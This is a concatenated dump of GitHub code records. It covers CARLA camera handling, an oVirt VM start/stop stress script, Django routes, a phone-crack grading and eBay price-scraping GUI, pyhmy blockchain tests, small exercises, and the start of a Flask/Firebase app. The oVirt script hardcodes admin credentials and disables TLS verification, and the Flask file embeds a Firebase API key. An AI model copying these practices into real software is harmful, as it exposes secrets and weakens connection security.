camera to the simulation\n # a unique name is required to access the camera image.\n # if `actor_to_attach` is provided the `position` is relative to the actor\n # otherside it is regarded w.r.t the world center\n if name in self.sensors:\n # TODO: replace with logger\n print(f\"A sensor with name {name} is already defined.\")\n return None\n else:\n sensor = {}\n if position is None:\n position = carla.Transform(carla.Location(), carla.Rotation())\n if actor_to_attach is None:\n attached = None\n sensor_transform = position\n else:\n attached = actor_to_attach\n x, y, z = position.location.x, position.location.y, position.location.z\n sensor_transform = carla.Transform(\n attached.transform.transform(carla.Location(x, y, z)),\n attached.transform.rotation,\n )\n\n camera_bp = self.world.get_blueprint_library().find('sensor.camera.rgb')\n sensor = self.world.spawn_actor(camera_bp, sensor_transform)\n image_w = camera_bp.get_attribute(\"image_size_x\").as_int()\n image_h = camera_bp.get_attribute(\"image_size_y\").as_int()\n # Instantiate objects for rendering and vehicle control\n recorder = RenderObject(image_w, image_h)\n sensor.listen(recorder.callback)\n\n self.sensors[name] = {\n \"actor\": sensor,\n \"position\": position,\n \"transform\": sensor_transform,\n \"attached\": attached,\n \"recorder\": recorder,\n \"headless\": headless,\n }\n\n if not headless:\n if len(self.pygame_window) == 0:\n gameDisplay = pygame.display.set_mode((image_w, image_h), pygame.RESIZABLE)\n gameDisplay.fill((0, 0, 0))\n gameDisplay.blit(recorder.surface, (0, 0))\n self.pygame_window[\"gameDisplay\"] = gameDisplay\n self.pygame_window[\"width\"] = image_w\n self.pygame_window[\"hight\"] = image_h\n self.pygame_window[\"sensors_name\"] = [name]\n pygame.display.flip()\n else:\n # TODO: addjust size and Concat surfaces for more than one headless sensor\n pass\n\n def _tick_cameras(self):\n for sensor in self.sensors.values():\n if sensor[\"attached\"] is not None:\n attached = sensor[\"attached\"]\n x, y, z = sensor[\"position\"].location.x, sensor[\"position\"].location.y, sensor[\"position\"].location.z\n sensor_transform = carla.Transform(\n attached.transform.transform(carla.Location(x, y, z)),\n attached.transform.rotation,\n )\n else:\n sensor_transform = sensor[\"position\"]\n\n sensor[\"actor\"].set_transform(sensor_transform)\n\n def _tick_pygame(self):\n if \"sensors_name\" in self.pygame_window:\n for sensor_name in self.pygame_window[\"sensors_name\"]:\n # TODO: Concat surfaces for more than one headless sensor\n surface = self.sensors[sensor_name][\"recorder\"].surface\n self.pygame_window[\"gameDisplay\"].blit(surface, (0, 0))\n pygame.display.flip()\n\n\ndef get_available_port(subsequent_ports: int = 2) -> int:\n \"\"\"\n Finds an open port such that the given number of subsequent ports are also available.\n The default number of two ports corresponds to what is required by the CARLA server.\n\n :param subsequent_ports: How many more subsequent ports need to be free.\n \"\"\"\n\n # CARLA server needs three consecutive ports.\n # It is possible for some other process to grab the sockets\n # between finding them here and starting the server,\n # but it's generally unlikely.\n limit = 1000\n for attempt in range(limit):\n first = socket.socket()\n subsequent = [socket.socket() for i in range(subsequent_ports)]\n try:\n first.bind((\"\", 0))\n port = first.getsockname()[1]\n for i in range(len(subsequent)):\n subsequent[i].bind((\"\", port + i + 1))\n return port\n except OSError as e:\n if attempt + 1 == limit:\n raise RuntimeError(\n \"Failed to find required ports in %d attempts\" % limit\n ) from e\n finally:\n first.close()\n for s in subsequent:\n s.close()\n assert False # this line should be unreachable\n","repo_name":"inverted-ai/invertedai","sub_path":"examples/carla/carla_simulator.py","file_name":"carla_simulator.py","file_ext":"py","file_size_in_byte":32675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17791814721","text":"import logging\nimport time\n\nimport ovirtsdk4 as sdk\nimport ovirtsdk4.types as types\nfrom common import track_status\n\nlogging.basicConfig(level=logging.DEBUG, filename='test.log')\n\nconnection = sdk.Connection(\n url='https://laptop.emesika.com:8443/ovirt-engine/api',\n username='admin@internal',\n password='a',\n insecure=True,\n debug=True,\n log=logging.getLogger(),\n)\n\n# Get the reference to the \"vms\" service:\nvms_service = connection.system_service().vms_service()\n\n\ndef run_vm(pname, wait_for_up):\n print('Running VM : ' + pname + '...')\n # Find the virtual machine:\n vm = vms_service.list(search='name=' + pname)[0]\n\n # Locate the service that manages the virtual machine, as that is where\n # the action methods are defined:\n vm_service = vms_service.vm_service(vm.id)\n\n # Call the \"start\" method of the service to start it:\n vm_service.start()\n\n if wait_for_up:\n # Wait till the virtual machine is up:\n track_status(vm_service, types.VmStatus.UP, 1)\n\ndef stop_vm(pname, wait_for_down):\n print('Stopping VM : ' + pname + '...')\n # Find the virtual machine:\n vm = vms_service.list(search='name=' + pname)[0]\n\n # Locate the service that manages the virtual machine, as that is where\n # the action methods are defined:\n vm_service = vms_service.vm_service(vm.id)\n\n # Call the \"start\" method of the service to start it:\n vm_service.stop()\n\n if wait_for_down:\n # Wait till the virtual machine is down:\n track_status(vm_service, types.VmStatus.DOWN, 1)\n\n\ndef run_vm_scenario(prepeat, pdelay):\n for times in range(1, prepeat+1):\n for vm_num in range(1,101):\n vm_name = 'myvm' + str(vm_num)\n vm = vms_service.list(search='name=' + vm_name)[0]\n vm_service = vms_service.vm_service(vm.id)\n if vm.status == types.VmStatus.DOWN:\n run_vm(vm_name, False)\n elif vm.status == types.VmStatus.UP:\n stop_vm(vm_name, False)\n time.sleep(pdelay)\n\n\n\n\nrun_vm_scenario(30,10)\n\n\n# Close the connection to the server:\nconnection.close()\n\n","repo_name":"oVirt/ovirt-vdsmfake","sub_path":"examples/python-sdk/exec_scale_env.py","file_name":"exec_scale_env.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"23497215888","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url('^$',views.index,name='index'),\n url(r'^search/', views.search_results, name='search_results'),\n url(r'^new/profile$', views.new_profile, name='new_profile'),\n url(r'^edit/profile$', views.edit_profile, name='edit_profile'),\n url(r'^api/endpoint$', views.endpoint, name='endpoint'),\n url(r'^profile/(\\d+)', views.profile, name='profile'),\n url(r'^new/project$', views.new_project, name='new_project'),\n url(r'^api/profiles/$', views.ProfileList.as_view()),\n url(r'^project/(\\d+)',views.project,name ='project'),\n url(r'^api/projects/$', views.ProjectList.as_view()),\n url(r'^ratings/(\\d+)',views.ratings,name ='ratings'),\n]","repo_name":"paulmburu08/Merit","sub_path":"meritapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35256182423","text":"from module2_survey import AnonymousSurvey\n\nquestion = \"What language did you first learn to speak?\"\nmy_survey = AnonymousSurvey(question)\n\nmy_survey.show_question()\n\nprint(\"Enter 'q' to quit the survey.\\n\")\nwhile True:\n response = input(\">> Langugage - \")\n if response.lower() == 'q':\n break\n my_survey.store_reponse(response)\n\n\nprint(\"Thank you for taking the survey\")\nmy_survey.show_responses()","repo_name":"pratikv06/Python-Crash-Course","sub_path":"11_testing_your_code/5_survey.py","file_name":"5_survey.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"23301973126","text":"import tkinter as tk\nfrom tkinter import filedialog\n\nimport cv2\nfrom PIL import ImageTk, Image\nimport subprocess\n\n#temporary images\ntempcrackimage = \"tempcrackimage/tempcrack.PNG\"\ncrackimg = \"crackimg/2.PNG\"\ntempmodelimage = \"tempmodelimage/setting1.PNG\"\n\ndef detect_model():\n import cv2\n import pytesseract\n\n # Mention the installed location of Tesseract-OCR in your system\n pytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\n\n # Read image from which text needs to be extracted\n\n img4 = cv2.imread(tempmodelimage)\n\n imS = cv2.resize(img4, (375, 812)) # Resize image\n\n\n img_not = cv2.bitwise_not(imS)\n\n # Preprocessing the image starts\n\n # Convert the image to gray scale\n gray = cv2.cvtColor(img_not, cv2.COLOR_BGR2GRAY)\n\n\n # Performing OTSU threshold\n ret, thresh1 = cv2.threshold(gray, 0, 255, cv2.THRESH_OTSU | cv2.THRESH_BINARY_INV)\n\n # Specify structure shape and kernel size.\n # Kernel size increases or decreases the area\n # of the rectangle to be detected.\n rect_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (80, 10))\n\n # Applying dilation on the threshold image\n dilation = cv2.dilate(thresh1, rect_kernel, iterations=2)\n\n # Finding contours\n contours, hierarchy = cv2.findContours(dilation, cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_NONE)\n\n # Creating a copy of image\n im2 = img_not.copy()\n\n # A text file is created\n file = open(\"recognized.txt\", \"w+\")\n file.write(\"\")\n file.close()\n\n # Looping through the identified contours\n # Then rectangular part is cropped and passed on\n # to pytesseract for extracting text from it\n # Extracted text is then written into the text file\n for cnt in contours:\n x, y, w, h = cv2.boundingRect(cnt)\n\n # Drawing a rectangle on copied image\n rect = cv2.rectangle(im2, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # Cropping the text block for giving input to OCR\n cropped = im2[y:y + h, x:x + w]\n\n # Open the file in append mode\n file = open(\"recognized.txt\", \"a\")\n\n # Apply OCR on the cropped image\n text = pytesseract.image_to_string(cropped)\n\n # Read all text as lowercase\n text = text.lower()\n\n # Write the text into file\n file.write(text)\n file.write(\"\\n\")\n\n # Close the file\n file.close\n\n # Read the file containing all phone models\n model_file = open(\"phone_models.txt\", \"r\")\n\n # Reads each line as a phone model\n phone_models = [model.lower().strip() for model in model_file.readlines()]\n\n # Checks the detected tesseract model against every model in the text file\n # If found the return the match\n for model in phone_models:\n if model in text:\n print(f\"Phone model found: {model}\")\n finalmodel=model\n return finalmodel\n\n\n\n\ndef quality():\n import numpy as np\n import cv2\n\n img4 = cv2.imread(tempcrackimage) #reads image set in tempcrackimage\n\n # Resize image\n width, height = 408, 774\n img4 = cv2.resize(img4, (width, height))\n canny_edge = cv2.Canny(img4, 15, 25, L2gradient=True) #applying canny edge detection with variables set for threshold\n\n # Threshold the edge map to get a binary matrix\n thresh_value = 0.5 # adjust this threshold value between 0 and 1\n _, binary_image = cv2.threshold(canny_edge.astype(np.float32), thresh_value, 1, cv2.THRESH_BINARY)\n\n # save binary image as text file\n np.savetxt('binary_image.txt', binary_image, fmt='%d')\n #calculate all pixels in image\n total_pixels = binary_image.shape[0] * binary_image.shape[1]\n #count all white pixels in image\n white_pixels = np.count_nonzero(binary_image)\n #calculates percentage of cracks\n edge_percentage = white_pixels / total_pixels * 100\n\n #prints percentage as well as white pixel amount and total pixels in image\n print(\"Percentage of cracks detected:\", edge_percentage, white_pixels, total_pixels)\n\n #writes the edgedetected image to crack image. (This will be used later to display in GUI)\n crackimg = cv2.imwrite(\"crackimg/2.PNG\", canny_edge)\n quality1 = \"\"\n\n #grade quality based on percentages set for level of cracks\n if edge_percentage <= 1.35:\n print(\"PHONE IS LIKE NEW\")\n quality1 = \"New\"\n elif edge_percentage > 1.35 and edge_percentage <= 1.75:\n print(\"PHONE IS EXCELLENT QUALITY\")\n quality1 = \"Excellent\"\n elif edge_percentage > 1.75 and edge_percentage <= 2.15:\n print(\"PHONE IS GOOD QUALITY\")\n quality1 = \"Good\"\n elif edge_percentage > 2.15 and edge_percentage <= 3.33:\n print(\"PHONE IS OK QUALITY\")\n quality1 = \"Fair\"\n else:\n print(\"PHONE IS POOR QUALITY\")\n quality1 = \"Poor\"\n return quality1 #returns the quality so it can be used later in GUI\n\ndef price():\n # import selenium\n from selenium import webdriver\n from selenium.webdriver.common.by import By\n\n #retrieves phone model and quality grade\n model_search = detect_model()\n quality_search = quality()\n\n #prints imported variables\n print(model_search, \" \", quality_search)\n\n # create a chrome webdriver\n driver = webdriver.Chrome()\n\n # imports keys which is used to send input to the driver\n from selenium.webdriver.common.keys import Keys\n\n # opens ebay through the driver\n driver.get(\"https://www.ebay.ie/\")\n # inspect the search box to find its name attribute \"_nkw\"\n search_box = driver.find_element(By.NAME, \"_nkw\")\n # fills the seachbox with the model and quality given\n search_box.send_keys(model_search, \" \", quality_search)\n # keys.RETURN sends the enter key\n search_box.send_keys(Keys.RETURN)\n\n # create a set of keywords to exclude\n #These remove ebay results that will skew our results for prices. Eg \"IPHONE XR phonecase - 5.99\"\n exclude_keywords = {'case', 'empty', 'replacement', 'microphone', 'camera', 'accessory', 'cover', 'dummy', 'fake',\n 'otter', 'battery', 'dummies', 'screen'}\n\n # Importing BeautifulSoup to navigate HTML\n from bs4 import BeautifulSoup\n\n # passes the html source code of the webpage\n soup = BeautifulSoup(driver.page_source, \"html.parser\")\n # finds all the elements given the \"s-item\" class\n listings = soup.find_all(\"li\", {\"class\": \"s-item\"})\n\n #creates list for prices\n price_list = []\n\n # looks through all the listings found and extracts name and price then prints\n for listing in listings:\n try:\n name = listing.find(\"div\", {\"class\": \"s-item__title\"}).text.strip()\n #pulls prices of only listings that dont include excluded words in title\n if not any(keyword in name.lower() for keyword in exclude_keywords):\n price = listing.find(\"span\", {\"class\": \"s-item__price\"}).text.strip()\n #removes string element to allow a float conversion\n price = float(price.replace(\"EUR\", \"\"))\n #only adds listings that are over €50\n #this is to remove any other ads that are at unrealistically low prices that will skew result\n if price > 50.0:\n price_list.append(price)\n #finds condition of ad set by seller.\n #They do not always set this correctly so decision was made to not use this and focus on title\n condition = listing.find(\"span\", {\"class\": \"SECONDARY_INFO\"}).text.strip()\n #prints listings\n print(name, \"\\n\", price, \"\\n\", condition, \"\\n\")\n except:\n continue\n #converts all to floats\n price_list = [float(x) for x in price_list]\n #prints list\n print(price_list)\n\n #averages list, prints it then returns it for use in the GUI\n average = sum(price_list) / len(price_list)\n\n print(\"average \", average)\n return average\n # closes driver\n driver.quit()\n\nclass ImagePage(tk.Frame):\n\n def __init__(self, master=None):\n super().__init__(master)\n self.quality2 = \"\"\n self.master = master\n self.pack()\n self.create_widgets()\n self.file_path = \"\"\n self.quality=\"\"\n self.create_quality_label()\n #self.scan_image()\n\n # creates gui elements within the frame\n def create_widgets(self):\n # creates heading at top of page\n heading = tk.Label(self, text=\"STEP 1 - UPLOAD IMAGE OF PHONE SCREEN - INSTRUCTIONS BELOW\",\n font=(\"Helvetica\", 24, \"bold underline\"))\n heading.pack(side=\"top\")\n\n # Add a label with instructions\n instructions = tk.Label(self, text=\"•\tMake sure a phone is present in the image. \\n\"\n \"\\n\"\n \"•\tTake an image of the phone while the screen is on, displaying a white background with no other text. \\n\"\n\n \" To do this save an image on Google Images that is a plain white background. Find this image in\\n\"\n \" your camera roll and zoom in fully. This prevents any text being visible on the screen like battery\\n\"\n \" percentage or the clock. By using a white screen it allows the cracks to become more noticeable\\n\"\n \" to the naked eye and allows crack detection to detect all the cracks that it would otherwise\\n\"\n \" miss if the screen was powered off. \\n\"\n \"\\n\"\n \"•\tMake sure the whole phone is within the boundaries of the image so parts of the phone screen \\n\"\n \" are not cropped out. \\n\"\n \"\\n\"\n \"•\tTry to eliminate as much background noise as possible by getting a close up of the phone with its \\n\"\n \" edges close to the photo boundary. \\n\"\n \"\\n\"\n \"•\tRefrain from blurry images or poor lighting conditions.\",\n justify=\"left\",\n font=(\"Helvetica\", 11))\n instructions.pack(side=\"top\")\n\n # Add a button to go to model detection\n next_page_button = tk.Button(self, text=\"Continue to Model Detection\", command=self.open_model_page)\n next_page_button.pack(side=\"bottom\")\n\n # Add a button to begin scanning uploaded image\n continue_button = tk.Button(self, text=\"Scan Phone Screen\", command=self.scan_image)\n continue_button.pack(side=\"bottom\")\n\n # Add a button to upload an image\n upload_button = tk.Button(self, text=\"Upload Phone Screen\", command=self.upload_image)\n upload_button.pack(side=\"bottom\")\n\n # used to display images\n panel = tk.Label(self)\n panel.pack()\n\n # creates window and initialises ModelPage\n def open_model_page(self):\n model_window = tk.Toplevel(root)\n model_page = ModelPage(model_window)\n\n # creates label to display phone quality and returns for later use\n def create_quality_label(self):\n self.quality_label = tk.Label(root, text=\"Quality: N/A\")\n self.quality_label.pack()\n return self.quality_label\n\n def upload_image(self):\n # Open a file to select an image\n file_path = filedialog.askopenfilename(filetypes=[(\"Image files\", \"*.png;*.jpg\")])\n if file_path:\n # opens image, resizes, adds to panel and saves to tempcrackimage\n image = Image.open(file_path)\n image2 = cv2.imread(file_path)\n max_size = (250, 250)\n image.thumbnail(max_size)\n img = ImageTk.PhotoImage(image)\n panel.config(image=img)\n panel.image = img\n self.file_path = file_path\n cv2.imwrite(\"tempcrackimage/tempcrack.PNG\",image2)\n\n def scan_image(self):\n # calls quality function to begin crack detection\n qua = quality()\n # retrieves returned quality rating from the function and prints\n print(qua)\n text = \"Quality: \", quality()\n print(text)\n # edits the quality label to display the discovered quality\n self.quality_label.config(text=\"Phone Quality Rating: \" + qua)\n\n # opens crack detection image, resizes and adds to panel\n image = Image.open(crackimg)\n max_size = (250, 250)\n image.thumbnail(max_size)\n img = ImageTk.PhotoImage(image)\n panel.config(image=img)\n panel.image = img\n\n\nclass ModelPage(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n self.pack()\n self.create_widgets()\n self.file_path_model = \"\"\n self.create_model_label()\n self.create_price_label()\n\n # creates gui elements within the frame\n def create_widgets(self):\n # creates heading at top of page\n heading = tk.Label(self, text=\"STEP 2 - UPLOAD SETTINGS PAGE FOR MODEL DETECTION\",\n font=(\"Helvetica\", 24, \"bold underline\"))\n heading.pack(side=\"top\")\n\n # Add a label with instructions\n instructions = tk.Label(self, text=\"•\tMake sure a phone is present in the image. \\n\"\n \"\\n\"\n \"•\tMake sure the whole phone is within the boundaries of the image so parts of the phone screen \\n\"\n \" are not cropped out. \\n\"\n \"\\n\"\n \"•\tTry to eliminate as much background noise as possible by getting a close up of the phone with its \\n\"\n \" edges close to the photo boundary. \\n\"\n \"\\n\"\n \"•\tMake sure that the correct settings page is being photographed, where information of the phone\\n\"\n \" model name is clearly displayed. \\n\"\n \"\\n\"\n \"•\tRefrain from blurry images or poor lighting conditions.\\n\"\n \"\\n\"\n \"• ALL INFORMATION IS DISPLAYED ON MAIN SCREEN\",\n justify=\"left\",\n font=(\"Helvetica\", 11))\n instructions.pack(side=\"top\")\n\n # Add a button to scan the average price for current phone\n scan_price_button = tk.Button(self, text=\"Scan Web For Average Value\", command=self.scan_price)\n scan_price_button.pack(side=\"bottom\")\n\n # Add a button to scan the uploaded image for phone model\n scan_model_button = tk.Button(self, text=\"Scan For Model\", command=self.scan_model)\n scan_model_button.pack(side=\"bottom\")\n\n # Add a button to upload a model\n upload_button = tk.Button(self, text=\"Upload Settings Page\", command=self.upload_image_model)\n upload_button.pack(side=\"bottom\")\n\n\n def scan_model(self):\n # calls detect model function to begin tesseract to read the phone model in\n foundmodel = detect_model()\n # prints model returned\n print(foundmodel)\n # edits the model label to display the discovered model\n self.model_label.config(text=\"Phone Model Detected: \"+ foundmodel)\n\n def scan_price(self):\n # calls price function to begin web skimming to retrieve average price with info given by user\n foundprice = price()\n # prints average price\n print(foundprice)\n # edits the price label to display the average price and round to 2 decimal places\n self.price_label.config(text=\"Average Price of Similar Phones: €{:.2f}\".format(foundprice))\n\n def upload_image_model(self):\n # Open a file to select an image\n file_path_model = filedialog.askopenfilename(filetypes=[(\"Image files\", \"*.png;*.jpg\")])\n if file_path_model:\n # opens image, resizes, adds to panel and saves to tempcrackimage\n image = Image.open(file_path_model)\n image2 = cv2.imread(file_path_model)\n max_size = (250, 250)\n image.thumbnail(max_size)\n img = ImageTk.PhotoImage(image)\n panel.config(image=img)\n panel.image = img\n self.file_path_model = file_path_model\n cv2.imwrite(\"tempmodelimage/setting1.PNG\", image2)\n\n # creates label to display phone model and returns for later use\n def create_model_label(self):\n self.model_label = tk.Label(root, text=\"Model: N/A\")\n self.model_label.pack()\n return self.model_label\n\n # creates label to display phone price and returns for later use\n def create_price_label(self):\n self.price_label = tk.Label(root, text=\"Price: N/A\")\n self.price_label.pack()\n return self.price_label\n\n# Create the root window\nroot = tk.Tk()\n#sets size of main window\nroot.geometry(\"1280x750\")\n#sets title to homepage\nroot.title(\"Homepage\")\n\n#displays images\npanel = tk.Label(root)\npanel.pack()\n\n# Create instances of the image add it to the root window\nimagepage = ImagePage(master=root)\n\n# Show the homepage first\nimagepage.tkraise()\n# Run the main event loop\nroot.mainloop()\n","repo_name":"EoghanD72/PhoneValue","sub_path":"PhoneCrackDetection/HomeGUI.py","file_name":"HomeGUI.py","file_ext":"py","file_size_in_byte":17882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71227461281","text":"import sys\nimport os\nimport json\nimport datetime\nfrom pytz import timezone\n\n\nif len(sys.argv) < 2:\n print(\"Usage : python3 parseDeliverertoDayCSV.py puzzle_bucket.json\")\n sys.exit()\n\npath = sys.argv[1]\n\nif not os.path.exists(path):\n print(\"File not found\")\n sys.exit()\n\ndayData = {}\n\nwith open(path) as f:\n line = f.readline()\n while line:\n data = json.loads(line)[\"deliverer\"]\n for sponsor in data:\n date = datetime.datetime.fromtimestamp(\n int(float(sponsor[\"timestamp\"][\"$numberDouble\"]))).astimezone(timezone(\"Asia/Taipei\")).strftime('%Y-%m-%d')\n name = str(sponsor[\"deliverer\"])\n if date not in dayData:\n dayData[date] = {}\n if name not in dayData[date]:\n dayData[date][name] = 0\n dayData[date][name] += 1\n line = f.readline()\nprint(dayData)\n\ntotalData = {}\nfor day, data in dayData.items():\n with open(\"output/\"+day+\".csv\", \"w\") as f:\n f.write(\"key,count\\n\")\n for key, count in data.items():\n f.write(\"%s,%d\\n\" % (key, count))\n if key not in totalData:\n totalData[key] = 0\n totalData[key] += count\n\nwith open(\"output/total.csv\", \"w\") as f:\n f.write(\"key,count\\n\")\n for key, count in totalData.items():\n f.write(\"%s,%d\\n\" % (key, count))","repo_name":"CCIP-App/OPass-DataVisualization","sub_path":"tools/parseDeliverertoDayCSV.py","file_name":"parseDeliverertoDayCSV.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7410693094","text":"# Fibonacci Sequence\r\n\r\nno_of_terms = int(input(\"Enter number of terms: \"))\r\nn1, n2 = 0, 1\r\ncount = 0\r\nwhile count < no_of_terms: #\r\n print(n1)\r\n nth = n1 + n2\r\n n1 = n2\r\n n2 = nth\r\n count += 1\r\n","repo_name":"Cheesom99/50_days_of_codes","sub_path":"Day 1.py","file_name":"Day 1.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7730375381","text":"# Создайте несколько переменных заканчивающихся и не оканчивающихся на «s».\n# ✔ Напишите функцию, которая при запуске заменяет содержимое переменных\n# оканчивающихся на s (кроме переменной из одной буквы s) на None.\n# ✔ Значения не удаляются, а помещаются в одноимённые переменные без s на конце.\n\na = \"ffs\"\nb = \"maks\"\nc = \"ggg\"\ndef s():\n for i in a.split():\n if a[0] != \"s\" and a[-1] == \"s\":\n return None\n return a\nprint(s())\ndef s1():\n for i in b.split():\n if b[0] != \"s\" and b[-1] == \"s\":\n return None\n return b\nprint(s1())\ndef s2():\n for i in c.split():\n if c[0] != \"s\" and c[-1] == \"s\":\n return None\n return c\nprint(s2())\nprint(a, b, c)\na = map(lambda x: x.replace(\"s\", \"\"), a)\nb = map(lambda x: x.replace(\"s\", \"\"), b)\nc = map(lambda x: x.replace(\"s\", \"\"), c)\nprint(*a, *b, *c)\n","repo_name":"SvetlanaVladimirova1/py6","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1623798308","text":"from typing import List\nclass Solution:\n def dicesProbability(self, n: int) -> List[float]:\n # 1. 定义状态:dp[i][j]为i个骰子总和为j的组合数\n mins, maxs = 1, 6*n\n # 2. 初始化二维dp数组,边界值\n dp = [[0] * (6*n + 1) for i in range(n + 1)]\n for j in range(1, 1*6+1):\n dp[1][j] = 1\n # 3. 遍历赋值dp数组 —— 状态转移\n for i in range(2, n + 1): # (1)【骰子i的状态】遍历:i ~ [2, n] \n for j in range(i, i * 6 + 1): # (2)【骰子和j的状态】遍历:j ~ [i, i*6]\n #(3)【不同的选择】:当前,第i个骰子可能点数: num ~[1, 6] \n # ——》》状态dp[i][j]由dp[i - 1][不同选择对应的前一步的j状态]得到\n for num in range(1, 7): \n if j > num : dp[i][j] += dp[i - 1][j - num] # 状态转移\n def func(sn):\n return sn / sum(dp[n])\n sumn = sum(dp[n])\n return list(map(func, dp[n]))[n:]\n\nso = Solution()\nso.dicesProbability(2)\n\n","repo_name":"WQAQs/leetcode_everyday","sub_path":"动态规划/dicesProbability.py","file_name":"dicesProbability.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42014958131","text":"import pytest\nimport requests\n\nfrom pyhmy import account\n\nfrom pyhmy.rpc import exceptions\n\nexplorer_endpoint = \"http://localhost:9700\"\nendpoint_shard_one = \"http://localhost:9502\"\nlocal_test_address = \"one155jp2y76nazx8uw5sa94fr0m4s5aj8e5xm6fu3\"\ntest_validator_address = local_test_address\ngenesis_block_number = 0\ntest_block_number = 1\nfake_shard = \"http://example.com\"\n\n\ndef _test_account_rpc( fn, *args, **kwargs ):\n if not callable( fn ):\n pytest.fail( f\"Invalid function: {fn}\" )\n\n try:\n response = fn( *args, **kwargs )\n except Exception as e:\n if isinstance( e,\n exceptions.RPCError\n ) and \"does not exist/is not available\" in str( e ):\n pytest.skip( f\"{str(e)}\" )\n pytest.fail( f\"Unexpected error: {e.__class__} {e}\" )\n return response\n\n\ndef test_get_balance( setup_blockchain ):\n balance = _test_account_rpc( account.get_balance, local_test_address )\n assert isinstance( balance, int )\n assert balance > 0\n\n\ndef test_get_balance_by_block( setup_blockchain ):\n balance = _test_account_rpc(\n account.get_balance_by_block,\n local_test_address,\n genesis_block_number\n )\n assert isinstance( balance, int )\n assert balance > 0\n\n\ndef test_get_account_nonce( setup_blockchain ):\n true_nonce = _test_account_rpc(\n account.get_account_nonce,\n local_test_address,\n test_block_number,\n endpoint = endpoint_shard_one,\n )\n assert isinstance( true_nonce, int )\n\n\ndef test_get_transaction_history( setup_blockchain ):\n tx_history = _test_account_rpc(\n account.get_transaction_history,\n local_test_address,\n endpoint = explorer_endpoint\n )\n assert isinstance( tx_history, list )\n assert len( tx_history ) >= 0\n\n\ndef test_get_staking_transaction_history( setup_blockchain ):\n staking_tx_history = _test_account_rpc(\n account.get_staking_transaction_history,\n test_validator_address,\n endpoint = explorer_endpoint,\n )\n assert isinstance( staking_tx_history, list )\n assert len( staking_tx_history ) > 0\n\n\ndef test_get_balance_on_all_shards( setup_blockchain ):\n balances = _test_account_rpc(\n account.get_balance_on_all_shards,\n local_test_address\n )\n assert isinstance( balances, list )\n assert len( balances ) == 2\n\n\ndef test_get_total_balance( setup_blockchain ):\n total_balance = _test_account_rpc(\n account.get_total_balance,\n local_test_address\n )\n assert isinstance( total_balance, int )\n assert total_balance > 0\n\n\ndef test_is_valid_address():\n assert account.is_valid_address(\n \"one1zksj3evekayy90xt4psrz8h6j2v3hla4qwz4ur\"\n )\n assert not account.is_valid_address(\n \"one1wje75aedczmj4dwjs0812xcg7vx0dy231cajk0\"\n )\n\n\ndef test_get_transaction_count( setup_blockchain ):\n tx_count = _test_account_rpc(\n account.get_transaction_count,\n local_test_address,\n \"latest\",\n explorer_endpoint\n )\n assert isinstance( tx_count, int )\n assert tx_count > 0\n\n\ndef test_get_transactions_count( setup_blockchain ):\n tx_count = _test_account_rpc(\n account.get_transactions_count,\n local_test_address,\n \"ALL\",\n explorer_endpoint\n )\n\n\ndef test_get_staking_transactions_count( setup_blockchain ):\n tx_count = _test_account_rpc(\n account.get_staking_transactions_count,\n local_test_address,\n \"ALL\",\n explorer_endpoint,\n )\n assert isinstance( tx_count, int )\n\n\ndef test_errors():\n with pytest.raises( exceptions.RPCError ):\n account.get_balance( \"\", fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_balance_by_block( \"\", 1, fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_account_nonce( \"\", 1, fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_transaction_count( \"\", 1, fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_transactions_count( \"\", 1, fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_transactions_count( \"\", \"ALL\", fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_transaction_history( \"\", endpoint = fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_staking_transaction_history( \"\", endpoint = fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_balance_on_all_shards( \"\", endpoint = fake_shard )\n with pytest.raises( exceptions.RPCError ):\n account.get_total_balance( \"\", endpoint = fake_shard )\n","repo_name":"harmony-one/pyhmy","sub_path":"tests/sdk-pyhmy/test_account.py","file_name":"test_account.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"54"} +{"seq_id":"13681419465","text":"from flask import Flask, request, jsonify\nimport shutil\nimport os\nfrom db import database\nimport datetime\nimport base64\nfrom flask_cors import CORS\nfrom bson.objectid import ObjectId\nimport hashlib \nimport json\nfrom PIL import Image\nfrom werkzeug.utils import secure_filename\n\nfrom firbase_storage import firebase\nfrom users import token_required\n\n\nimport pyrebase\n\n\nconfig = {\n \n \"apiKey\": \"AIzaSyAIQcCsIQk3i-uIFnPnINhs6F3PJa3H418\",\n \"authDomain\": \"devporte-64919.firebaseapp.com\",\n \"databaseURL\": 